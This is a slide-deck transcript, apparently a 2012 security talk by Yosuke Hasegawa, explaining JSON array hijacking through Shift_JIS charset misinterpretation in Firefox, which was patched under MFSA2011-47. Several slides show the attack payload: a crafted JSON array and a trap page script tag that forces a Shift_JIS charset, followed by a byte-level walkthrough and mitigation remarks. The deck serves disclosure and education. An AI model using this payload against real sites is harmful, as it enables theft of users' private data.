JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings...
-
Upload
gaven-creasy -
Category
Documents
-
view
226 -
download
0
Transcript of JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings...
![Page 1: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA.](https://reader036.fdocuments.in/reader036/viewer/2022062421/56649c7d5503460f94932dd2/html5/thumbnails/1.jpg)
JS Array Hijackingwith MBCS encodings
MBCS 文字コードを使った JS 配列の乗っ取り
Apr 4 2012Yosuke HASEGAWA
![Page 2: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA.](https://reader036.fdocuments.in/reader036/viewer/2022062421/56649c7d5503460f94932dd2/html5/thumbnails/2.jpg)
NetAgent http://www.netagent.co.jp/Shibuya.XSS
JS Array Hijacking with MBCS
JSON 配列を盗み見する方法文字コードの応用技Mozilla Firefox 8 / MFSA2011-47
で修正済み
![Page 3: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA.](https://reader036.fdocuments.in/reader036/viewer/2022062421/56649c7d5503460f94932dd2/html5/thumbnails/3.jpg)
NetAgent http://www.netagent.co.jp/Shibuya.XSS
JS Array Hijacking with MBCS
ターゲット機密情報を含む JS 配列攻撃者が配列の一部をコントロールできる例えば Web メールの新着通知など
配列内の他のデータも盗み見できる
[ "[email protected]","[email protected]" ]
JSON
![Page 4: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA.](https://reader036.fdocuments.in/reader036/viewer/2022062421/56649c7d5503460f94932dd2/html5/thumbnails/4.jpg)
NetAgent http://www.netagent.co.jp/Shibuya.XSS
JS Array Hijacking with MBCS
XHR.send(…)
[ "[email protected]", "..." ]
JSON
JSON.parse(txt)
ユーザ
Web mail
![Page 5: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA.](https://reader036.fdocuments.in/reader036/viewer/2022062421/56649c7d5503460f94932dd2/html5/thumbnails/5.jpg)
NetAgent http://www.netagent.co.jp/Shibuya.XSS
JS Array Hijacking with MBCS<script
src=“json”>
<script src=“json”>
[ "...0x82", "..."]
JSON
HTML攻撃者
ユーザ
Web mail
JSON
From: "...0x82"
![Page 6: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA.](https://reader036.fdocuments.in/reader036/viewer/2022062421/56649c7d5503460f94932dd2/html5/thumbnails/6.jpg)
NetAgent http://www.netagent.co.jp/Shibuya.XSS
JS Array Hijacking with MBCS
Content-Type: application/json
[ " あ ", ",alert(/", "alice", "bob", "/.source)]//" ]
攻撃対象の JSON (UTF-8)
<script src="http://example.jp/target.json" charset="shift_jis"></script>
攻撃者の用意した罠ページ
![Page 7: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA.](https://reader036.fdocuments.in/reader036/viewer/2022062421/56649c7d5503460f94932dd2/html5/thumbnails/7.jpg)
NetAgent http://www.netagent.co.jp/Shibuya.XSS
Content-Type: application/json
[ " あ ", ",alert(/", "alice", "bob", "/.source)]//" ]
JS Array Hijacking with MBCS
攻撃対象の JSON (UTF-8)
あ" "
22 22 2C 22 61 6C
, " a l
65 72 74
e r t
E3 81 82
縺" , " a l e r t?
28
(
(
UTF-8
Shift_JIS
[ " 縺 <?>, ",alert(/", "alice", "bob", "/.source)]//" ]
![Page 8: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA.](https://reader036.fdocuments.in/reader036/viewer/2022062421/56649c7d5503460f94932dd2/html5/thumbnails/8.jpg)
NetAgent http://www.netagent.co.jp/Shibuya.XSS
Content-Type: application/json
[ " あ ", ",alert(/", "alice", "bob", "/.source)]//" ]
JS Array Hijacking with MBCS
攻撃対象の JSON (UTF-8)
あ" "
22 22 2C 22 61 6C
, " a l
65 72 74
e r t
E3 81 82
縺" , " a l e r t?
28
(
(
UTF-8
Shift_JIS
[ " 縺 <?>",",alert(/", "alice", "bob", "/.source)]//" ]
修正された挙動 (IE と同じ )
"
![Page 9: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA.](https://reader036.fdocuments.in/reader036/viewer/2022062421/56649c7d5503460f94932dd2/html5/thumbnails/9.jpg)
NetAgent http://www.netagent.co.jp/Shibuya.XSS
JS Array Hijacking with MBCS
まとめそもそも JSON のレスポンスに
charset つけてないのがイケてない。とはいえ RFC4627 には
JSON text SHALL be encoded in Unicode. The default encoding is UTF-8.
攻撃可能なサイトは限定的
![Page 10: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA.](https://reader036.fdocuments.in/reader036/viewer/2022062421/56649c7d5503460f94932dd2/html5/thumbnails/10.jpg)
NetAgent http://www.netagent.co.jp/Shibuya.XSS
JS Array Hijacking with MBCS
MFSA 2011-47: Potential XSS against sites using Shift-JIShttp://www.mozilla.org/security/announce/2011/mfsa2011-47.html
690225 – Universal XSS likely with MultiByte charset (e.g. japanese sites) https://bugzilla.mozilla.org/show_bug.cgi?id=690225
もとのタイトルは "JSON hijacking with MultiByte charset" だったのに。
だいぶ盛りすぎ!
![Page 11: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA.](https://reader036.fdocuments.in/reader036/viewer/2022062421/56649c7d5503460f94932dd2/html5/thumbnails/11.jpg)
NetAgent http://www.netagent.co.jp/Shibuya.XSS
質問
[email protected]@netagent.co.jp
@hasegawayosuke
http://utf-8.jp/
![Page 12: JS Array Hijacking with MBCS encodings JS Array Hijacking with MBCS encodings MBCS文字コードを使ったJS配列の乗っ取り Apr 4 2012 Yosuke HASEGAWA.](https://reader036.fdocuments.in/reader036/viewer/2022062421/56649c7d5503460f94932dd2/html5/thumbnails/12.jpg)